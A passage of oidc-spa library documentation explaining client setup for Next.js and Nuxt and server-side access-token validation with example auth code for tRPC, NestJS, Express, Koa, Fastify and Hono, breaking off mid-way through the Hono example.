
This example shows the minimum wiring needed for a Next.js App Router app.

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/next oidc-spa-next
cd oidc-spa-next
cp .env.local.sample .env.local
npm install
npm run dev

# Start exploring with: lib/oidc.tsx
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/next>" %}

## Installation

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

## Required wiring

### Initialize early on the client

Use `instrumentation-client.ts` to run `oidcEarlyInit()` as early as possible.

{% code title="instrumentation-client.ts" %}

```ts
import { oidcEarlyInit } from "oidc-spa/entrypoint";

oidcEarlyInit({
    BASE_URL: process.env.__NEXT_ROUTER_BASEPATH || "/"
});
```

{% endcode %}

### Wrap the app

Wrap the whole app in `OidcInitializationGate`.

In the example, this happens in [`app/layout.tsx`](https://github.com/keycloakify/oidc-spa/blob/main/examples/next/app/layout.tsx).

### Add Next-specific adapters

The `OidcInitializationGate` and `withLoginEnforced` utils exported by oidc-spa cannot be used directly in Next.js as-is.

They need Next-specific adapters.

In the example, that adaptation lives in [`lib/oidc.tsx`](https://github.com/keycloakify/oidc-spa/blob/main/examples/next/lib/oidc.tsx).

### Keep oidc-spa on the client

Anything that touches `oidc-spa` must run on the client.

Add `"use client";` to those modules.

## Important limitation

Next.js cannot know who the user is at render time when auth is handled by `oidc-spa` in the browser.

In practice, that means you give up most SSR auth-at-render-time benefits.

You should treat this setup as a SPA architecture running inside Next.js.

## Routes in the example

* `/` public landing page with login and logout controls
* `/protected` guarded page using the custom Next-compatible `withLoginEnforced`
* `/admin-only` guarded page with a simple role check

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Nuxt

Use oidc-spa in a pure Nuxt SPA app.

## Before you start

{% hint style="warning" %}
This setup is SPA-only.

You must set `ssr: false` in `nuxt.config.ts`.

Authentication happens in the browser.

That means Nuxt cannot know who the user is at render time.

You give up SSR auth-at-render-time benefits and effectively run a SPA inside Nuxt.

Do not use this setup if you need SSR or hybrid auth to work as-is.
{% endhint %}

## The example

This example shows a practical Nuxt setup.

It uses the built-in `oidc-spa/nuxt-spa` support, a client plugin, a composable, and route middleware.

```bash
npx gitpick keycloakify/oidc-spa/tree/main/examples/nuxt-spa oidc-spa-nuxt-spa
cd oidc-spa-nuxt-spa
cp .env.local.sample .env.local

# Set your provider values in .env.local or enable mock mode

yarn install
yarn dev

# Start exploring with: app/plugins/01.oidc.client.ts
```

{% embed url="<https://github.com/keycloakify/oidc-spa/tree/main/examples/nuxt-spa>" %}

## Installation

{% tabs %}
{% tab title="npm" %}

```bash
npm install oidc-spa zod
```

{% endtab %}

{% tab title="yarn" %}

```bash
yarn add oidc-spa zod
```

{% endtab %}

{% tab title="pnpm" %}

```bash
pnpm add oidc-spa zod
```

{% endtab %}

{% tab title="bun" %}

```bash
bun add oidc-spa zod
```

{% endtab %}
{% endtabs %}

> **Note:**\
> [Zod](https://zod.dev/) is optional but highly recommended.\
> Writing validators manually is error-prone, and skipping validation means losing early guarantees about what your auth server provides. You can use another validator though, it doesn't have to be Zod.

## Required wiring

### Disable SSR

Set `ssr: false` in `nuxt.config.ts`.

{% code title="nuxt.config.ts" %}

```ts
export default defineNuxtConfig({
    ssr: false
});
```

{% endcode %}

### Enable the Nuxt module

Add `"oidc-spa/nuxt-spa"` to `modules`.

In the example, this happens in [`nuxt.config.ts`](https://github.com/keycloakify/oidc-spa/blob/main/examples/nuxt-spa/nuxt.config.ts).

### Create a client plugin

Provide `$oidc` from a client-only plugin.

In the example, this lives in [`app/plugins/01.oidc.client.ts`](https://github.com/keycloakify/oidc-spa/blob/main/examples/nuxt-spa/app/plugins/01.oidc.client.ts).

That plugin uses either `createOidc()` for a real provider or `createMockOidc()` for mock mode.

### Expose auth helpers with a composable

The example wraps `$oidc` in [`app/composables/useAuth.ts`](https://github.com/keycloakify/oidc-spa/blob/main/examples/nuxt-spa/app/composables/useAuth.ts).

It exposes helpers like `login`, `logout`, `register`, and `fetchWithAuth`.

It also handles the auto-logout countdown subscription.

### Protect pages with route middleware

Use route middleware for guarded pages.

In the example, [`app/middleware/auth.ts`](https://github.com/keycloakify/oidc-spa/blob/main/examples/nuxt-spa/app/middleware/auth.ts) redirects unauthenticated users to login and supports role checks through route meta.

### Runtime config

The example reads these public runtime config values:

* `oidcIssuerUri`
* `oidcClientId`
* `oidcUseMock`

You usually provide them through `.env.local`.

## Routes in the example

* `/` public page
* `/protected` guarded page
* `/admin-only` guarded page with a role check

## Reusing this pattern in your app

At a high level:

1. Set `ssr: false`.
2. Add `"oidc-spa/nuxt-spa"` to `modules`.
3. Create a client plugin that provides `$oidc`.
4. Add a `useAuth()` composable for app-level auth helpers.
5. Add route middleware for protected pages.

This example is intentionally opinionated and practical.

Use it as a starting point and adapt provider-specific options as needed.

Now that authentication is handled, there’s one last piece of the puzzle: your resource server, the backend your app will communicate with.

This can be any type of service: a REST API, tRPC server, or WebSocket endpoint, as long as it can validate access tokens issued by your IdP.

If you’re building it in JavaScript or TypeScript (for example, using Express), oidc-spa provides ready-to-use utilities to decode and validate access tokens on the server side.

You’ll find the full documentation here:

{% content-ref url="/pages/yolKsccF0yDQcZTXQnPo" %}
[Backend Token Validation](/integration-guides/backend-token-validation)
{% endcontent-ref %}


# Backend Token Validation

Creating a OAuth2 enabled resource server.

Now that you’ve set up oidc-spa in your web app, you can call your API like this:

```typescript
const todos = fetch("/api/todos", { 
    headers: {
        Authorization: `Bearer ${await oidc.getAccessToken()}`
    }
});
```

Next, let’s implement the backend side of things.

When you implement the server `GET /api/todos` handler, you want to read the `Authorization` header.\
Use it to authenticate the user.\
Optionally, check permissions (roles/scopes) to authorize the request.

If you’re building a JavaScript backend (Express, Hono, tRPC, NestJS, etc.), oidc-spa provides utilities to validate and decode access tokens.\
Validation includes DPoP proof checks and replay protection.

<details>

<summary>More context</summary>

The server-side validation utilities in oidc-spa implement [RFC 9068: JSON Web Token (JWT) Profile for OAuth 2.0 Access Tokens](https://datatracker.ietf.org/doc/rfc9068/).

JWT validation works offline.\
There’s no need to contact your authorization server for every request.

`oidc-spa/server` fetches the public key published by your IdP once.\
It then uses it to verify that each incoming token:

* was signed by the IdP
* targets the expected audience
* hasn’t expired
* has a valid [DPoP proof](broken://spaces/UhNOMoIddws1XoAnT5Nn/pages/AkX224WAW7UAYAoUymBd) (if applicable)

This is a big win for edge runtimes.\
Identity and authorization can be established locally, with no external round trips.

To authorize certain routes or actions, you can perform additional checks on claims like `groups` or `realm_access.roles`.

Some IdPs don’t issue JWT access tokens by default and issue opaque access tokens instead.

Opaque access tokens can’t be validated in a provider-agnostic way like JWTs can.\
If your IdP issues opaque access tokens, you’ll need provider-specific tooling.\
In that case, you won’t be able to use `oidc-spa/server`.

</details>

## Integration

Integration instruction for common HTTP framworks. This only covers REST APIs and RPC. For securing WebSocket connection [see bellow](#websocket).

<table data-view="cards"><thead><tr><th data-card-target data-type="content-ref">Docs</th><th data-hidden>Option</th></tr></thead><tbody><tr><td><a href="/pages/U95czlJaG5VGFSiLaeUm">/pages/U95czlJaG5VGFSiLaeUm</a></td><td>NestJS</td></tr><tr><td><a href="/pages/jPYFd1DOgIwEr8YEhJ6x">/pages/jPYFd1DOgIwEr8YEhJ6x</a></td><td>tRPC</td></tr><tr><td><a href="/pages/ouqjtmsZVJywv5rMklIc">/pages/ouqjtmsZVJywv5rMklIc</a></td><td>TanStack Start</td></tr><tr><td><a href="/pages/D7oSdXrY8PpRNgwq8P0j">/pages/D7oSdXrY8PpRNgwq8P0j</a></td><td>Koa</td></tr><tr><td><a href="/pages/dpMjSkwHciZoaYThM3xK">/pages/dpMjSkwHciZoaYThM3xK</a></td><td>Fastify</td></tr><tr><td><a href="/pages/YklVLJe1CNTx5tAEmDL3">/pages/YklVLJe1CNTx5tAEmDL3</a></td><td>Hono</td></tr><tr><td><a href="/pages/d1qbPv2oiUEBc6J3j5sN">/pages/d1qbPv2oiUEBc6J3j5sN</a></td><td>Express.js</td></tr></tbody></table>

<details>

<summary>JS Runtime level integration</summary>

<table data-view="cards"><thead><tr><th data-card-target data-type="content-ref">Docs</th></tr></thead><tbody><tr><td><a href="/pages/8IHPKsisQp1ZEgtiRmTI">/pages/8IHPKsisQp1ZEgtiRmTI</a></td></tr><tr><td><a href="/pages/d2qm0aCjKdy6kvR8uvUR">/pages/d2qm0aCjKdy6kvR8uvUR</a></td></tr><tr><td><a href="/pages/vNMUshRNFWPeFKiFOtWv">/pages/vNMUshRNFWPeFKiFOtWv</a></td></tr><tr><td><a href="/pages/7iLCD0QZbmGywDt5qJd7">/pages/7iLCD0QZbmGywDt5qJd7</a></td></tr><tr><td><a href="/pages/yfnnatrSBynS6LZmpmMQ">/pages/yfnnatrSBynS6LZmpmMQ</a></td></tr></tbody></table>

</details>

## WebSocket

{% content-ref url="/pages/2h9b2JIP2ifZUPpmy07q" %}
[WebSocket](/integration-guides/backend-token-validation/websocket)
{% endcontent-ref %}

## Mock Modes

{% content-ref url="/pages/5zhvDapwmFpSUUyRfzBp" %}
[Mock Modes](/integration-guides/backend-token-validation/mock-modes)
{% endcontent-ref %}

## TODO List Example

A TODO list example app built with Vite / React / TanStack Router on the frontend, and Node.js / Hono on the backend.

{% embed url="<https://youtu.be/33VijFArY9s>" %}

The app is live here:

{% embed url="<https://vite-insee-starter.demo-domain.ovh/>" %}

Source code (REST API):

{% embed url="<https://github.com/InseeFrLab/todo-rest-api>" %}

Source code (frontend):

{% embed url="<https://github.com/InseeFrLab/vite-insee-starter>" %}


# tRPC

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import express from "express";
import * as fs from "node:fs/promises";
import { z } from "zod";
import { initTRPC } from "@trpc/server";
import { createExpressMiddleware } from "@trpc/server/adapters/express";
import type { Request } from "express";
import { bootstrapAuth, getUser } from "./auth"; // See below

function startExpressTrpcServer() {
<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = express();

<strong>    /**
</strong><strong>     * Key idea: Wether you use use Express or something else
</strong><strong>     * as underlying HTTP framework, just expose whatever the 
</strong><strong>     * request object representation is to the global context.
</strong><strong>     * oidc-spa will be able to extract the auth context from it.
</strong><strong>     */
</strong><strong>    const createContext = ({ req }: { req: Request }) => ({ req });
</strong>
    type Context = ReturnType&#x3C;typeof createContext>;

    const t = initTRPC.context&#x3C;Context>().create();

    const appRouter = t.router({
        todos: t.procedure.query(async ({ ctx }) => {
<strong>            const user = await getUser({ req: ctx.req });
</strong>            const json = await fs.readFile(
<strong>                `todos_${user.id}.json`, 
</strong>                "utf8"
            );
            return JSON.parse(json);
        }),

        todosForSupportStaff: t.procedure
            .input(z.object({ userId: z.string() }))
            .query(async ({ ctx, input }) => {
                // Will reject the request if user making the request
                // doesn't have "support-staff" role
<strong>                await getUser({ req: ctx.req, requiredRole: "support-staff" });
</strong>                const json = await fs.readFile(`todos_${input.userId}.json`, "utf8");
                return JSON.parse(json);
            })
    });

    app.use(
        "/trpc",
        // Needed for tRPC POST requests.
        express.json(),
        createExpressMiddleware({
            router: appRouter,
            createContext
        })
    );

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import { TRPCError } from "@trpc/server";
import type { Request } from "express";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        // Here request accept any common representation of a request
        // Request | IncomingMessage | HonoRequest | FastifyRequest ...
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we throw on missing Authorization, but a mixed
        // public/private procedure could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        throw new TRPCError({ code: "UNAUTHORIZED" });
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new TRPCError({ code: "BAD_REQUEST" });
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new TRPCError({ code: "UNAUTHORIZED" });
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new TRPCError({ code: "FORBIDDEN" });
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# NestJS

{% hint style="info" %}
If you prefer a more "Nestish" experience, there's a comunity wrapper around oidc-spa/server:

<https://github.com/mwolf1989/nestjs-spa-oidc>
{% endhint %}

This is how your Nest API would typically look like.

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { NestFactory } from "@nestjs/core";
import { AppModule } from "./app.module";
import { bootstrapAuth } from "./auth"; // See below
+import { ConfigService } from "@nestjs/config";

async function bootstrap() {
    const app = await NestFactory.create(AppModule, /* Any adapter */);

    // Requires ConfigModule.forRoot() somewhere in your imports (typically AppModule).
    const configService = app.get(ConfigService);

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: configService.get("OIDC_ISSUER_URI")!,
</strong><strong>        expectedAudience: configService.get("OIDC_AUDIENCE")
</strong><strong>    });
</strong>

    await app.listen(parseInt(configService.get("PORT") ?? "3000"));
}

bootstrap();
</code></pre>

And this is how your controlled would look:

<pre class="language-ts" data-title="src/todos.controller.ts"><code class="lang-ts">import * as fs from "node:fs/promises";
import { Controller, Get, Param, Req } from "@nestjs/common";
<strong>import { getUser } from "./auth";
</strong>
@Controller("api")
export class TodosController {
    @Get("todos")
    async getTodos(@Req() req) {
<strong>        const user = await getUser({ req });
</strong>        const json = await fs.readFile(`todos_${user.id}.json`, "utf8");
        return JSON.parse(json);
    }

    @Get("todos-for-support/:userId")
    async getTodosForSupportStaff(
        @Req() req, 
        @Param("userId") userId: string
    ) {
<strong>        // Will reject the request if user making the request
</strong><strong>        // doesn't have "support-staff" role.
</strong><strong>        await getUser({ req, requiredRole: "support-staff" });
</strong>        const json = await fs.readFile(`todos_${userId}.json`, "utf8");
        return JSON.parse(json);
    }
}
</code></pre>

This is the only “integration” code you need:

{% code title="src/auth.ts" %}

```ts
import { BadRequestException, ForbiddenException, UnauthorizedException } from "@nestjs/common";
import { oidcSpa, extractRequestAuthContext, type AnyRequest } from "oidc-spa/server";
import { z } from "zod";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local respresentation of a user
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    // This can be an Express Request object, a FastifyRequest object
    // or really any well know object that represent a request,
    // oidc-spa will normalize the representation internally.
    // so this function will work regardless of the HTTP framework
    // you're using to bootstrap your NestJS app.
    req: AnyRequest;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { req, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        throw new UnauthorizedException();
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        throw new BadRequestException();
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        throw new UnauthorizedException();
    }

    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            throw new ForbiddenException();
        }
    }

    const { sub, name, email } = decodedAccessToken;

    return { id: sub, name, email };
}
```

{% endcode %}


# TanStack Start

If you are in a TanStack Start project you don't need to user `oidc-spa/server` directly. `oidc-spa/react-tanstack-start` already provides the utilities to create authed server functions and REST API endpoints.

{% content-ref url="/pages/d1qbPv2oiUEBc6J3j5sN" %}
[TanStack Start](/integration-guides/tanstack-router-start/tanstack-start)
{% endcontent-ref %}


# Express.js

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import express from "express";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startExpressServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = express();

    app.get("/api/todos", async (req, res) => {

<strong>        const user = await getUser({ req, res });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`, 
</strong>            "utf8"
        );

        res.status(200).type("application/json").send(json);

    });

    app.get("/api/todos-for-support/:userId", async (req, res) => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ req, res, requiredRole: "support-staff" });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${req.params.userId}.json`,
</strong>            "utf8"
        );

        res.status(200).type("application/json").send(json);

    });

    // ...

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { Request, Response } from "express";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // Here you specify the claim you expect to be present in the decoded
        // JWT payload of the access token.  
        // What's included in the token is configured on the IdP side.
        // Here you declare what your application actually uses so that
        // the type get propagated and you get a clear error if the IdP does
        // not issue what your app expects.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z.object({
                roles: z.array(z.string())
            }).optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: Request;
    res: Response;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, res, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        res.sendStatus(statusCode);
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if( !requestAuthContext ){
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Koa

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import Koa from "koa";
import Router from "@koa/router";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
async function startKoaServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = new Koa();

    const router = new Router();

    router.get("/api/todos", async ctx => {

<strong>        const user = await getUser({ ctx });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`,
</strong>            "utf8"
        );

        ctx.status = 200;
        ctx.type = "application/json";
        ctx.body = json;

    });

    router.get("/api/todos-for-support/:userId", async ctx => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ ctx, requiredRole: "support-staff" });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${ctx.params.userId}.json`,
</strong>            "utf8"
        );

        ctx.status = 200;
        ctx.type = "application/json";
        ctx.body = json;

    });

    app.use(router.routes());
    app.use(router.allowedMethods());

    app.listen(parseInt(process.env.PORT ?? "3000"), () => {
        console.log("Server running");
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { Context } from "koa";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    ctx: Context;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User> {

    const { ctx, requiredRole } = params;

    const requestAuthContext = extractRequestAuthContext({
        request: ctx.req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        console.warn("Anonymous request");
        ctx.throw(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        ctx.throw(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        ctx.throw(401); // Unauthorized
    }

    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            ctx.throw(403); // Forbidden
        }
    }

    const { sub, name, email } = decodedAccessToken;

    return { id: sub, name, email };
}
```

{% endcode %}


# Fastify

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import Fastify from "fastify";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
async function startFastifyServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const fastify = Fastify({
        // If you run behind a reverse proxy, you almost always want this enabled.
        // It affects things like the computed request origin.
        trustProxy: true
    });

    fastify.get("/api/todos", async (req, reply) => {

<strong>        const user = await getUser({ req, reply });
</strong>
        const json = await fs.readFile(
<strong>            `todos_${user.id}.json`,
</strong>            "utf8"
        );

        reply.code(200).type("application/json").send(json);

    });

    fastify.get("/api/todos-for-support/:userId", async (req, reply) => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
<strong>        await getUser({ req, reply, requiredRole: "support-staff" });
</strong>
        const { userId } = req.params as { userId: string };

        const json = await fs.readFile(
<strong>            `todos_${userId}.json`,
</strong>            "utf8"
        );

        reply.code(200).type("application/json").send(json);

    });

    // ...

    await fastify.listen({
        port: parseInt(process.env.PORT ?? "3000"),
        host: "0.0.0.0"
    });
}
</code></pre>

Let's see how to export the utils to make it happen:

{% code title="src/auth.ts" %}

```ts
import { oidcSpa, extractRequestAuthContext } from "oidc-spa/server";
import { z } from "zod";
import type { FastifyReply, FastifyRequest } from "fastify";

const { bootstrapAuth, validateAndDecodeAccessToken } = oidcSpa
    .withExpectedDecodedAccessTokenShape({
        // This is purely declarative. Here you'll specify
        // the claim that you expect to be present in the access token payload.
        decodedAccessTokenSchema: z.object({
            sub: z.string(),
            name: z.string(),
            email: z.string().optional(),
            // Keycloak specific, convention to manage authorization.
            realm_access: z
                .object({
                    roles: z.array(z.string())
                })
                .optional()
        })
    })
    .createUtils();

export { bootstrapAuth };

// Your local representation of a user.
export type User = {
    id: string;
    name: string;
    email: string | undefined;
};

export async function getUser(params: {
    req: FastifyRequest;
    reply: FastifyReply;
    requiredRole?: "realm-admin" | "support-staff";
}): Promise<User | never> {

    const { req, reply, requiredRole } = params;

    const bail = (statusCode: 400 | 401 | 403) => {
        reply.code(statusCode).send();
        return new Promise<never>(() => {});
    };

    const requestAuthContext = extractRequestAuthContext({
        request: req,
        // Set this to false only if you don't have a reverse HTTP proxy in front of your
        // server. (Almost never the case in modern deployments).
        trustProxy: true
    });

    if (!requestAuthContext) {
        // Demo shortcut: we return 401 on missing Authorization, but a mixed
        // public/private endpoint could instead return undefined here and let
        // the caller decide whether to process an anonymous request.
        console.warn("Anonymous request");
        return bail(401); // Unauthorized
    }

    if (!requestAuthContext.isWellFormed) {
        console.warn(requestAuthContext.debugErrorMessage);
        return bail(400); // Bad Request
    }

    const { isSuccess, debugErrorMessage, decodedAccessToken } =
        await validateAndDecodeAccessToken(
            requestAuthContext.accessTokenAndMetadata
        );

    if (!isSuccess) {
        console.warn(debugErrorMessage);
        return bail(401); // Unauthorized
    }

    // Your custom Authorization logic: Grant per request access depending
    // on the access token claim.
    if (requiredRole) {
        if (!decodedAccessToken.realm_access?.roles.includes(requiredRole)) {
            console.warn(`User missing role: ${requiredRole}`);
            return bail(403); // Forbidden
        }
    }

    // Here you can potentially enrich the user object with additional
    // data that you would retrieve from your database if the access token
    // claim does not contain everything you need.

    const { sub, name, email } = decodedAccessToken;

    const user: User = { id: sub, name, email };

    return user;
}
```

{% endcode %}


# Hono

This is how your API handler would typically look like:

<pre class="language-ts" data-title="src/main.ts"><code class="lang-ts">import { Hono } from "hono";
import * as fs from "node:fs/promises";
<strong>import { bootstrapAuth, getUser } from "./auth"; // See below
</strong>
function startHonoServer() {

<strong>    bootstrapAuth({
</strong><strong>        implementation: "real", // or "mock", see: https://docs.oidc-spa.dev/v/v8/integration-guides/backend-token-validation/mock-modes
</strong><strong>        issuerUri: process.env.OIDC_ISSUER_URI!,
</strong><strong>        expectedAudience: process.env.OIDC_AUDIENCE
</strong><strong>    });
</strong>
    const app = new Hono();

    app.get("/api/todos", async c => {

<strong>        const user = await getUser({ req: c.req });
</strong>
        const json = await fs.readFile(`todos_${user.id}.json`, "utf8");

        return c.text(json);

    });

    app.get("/api/todos-for-support/:userId", async c => {

        // Will reject the request if user making the request
        // doesn't have "support-staff" role
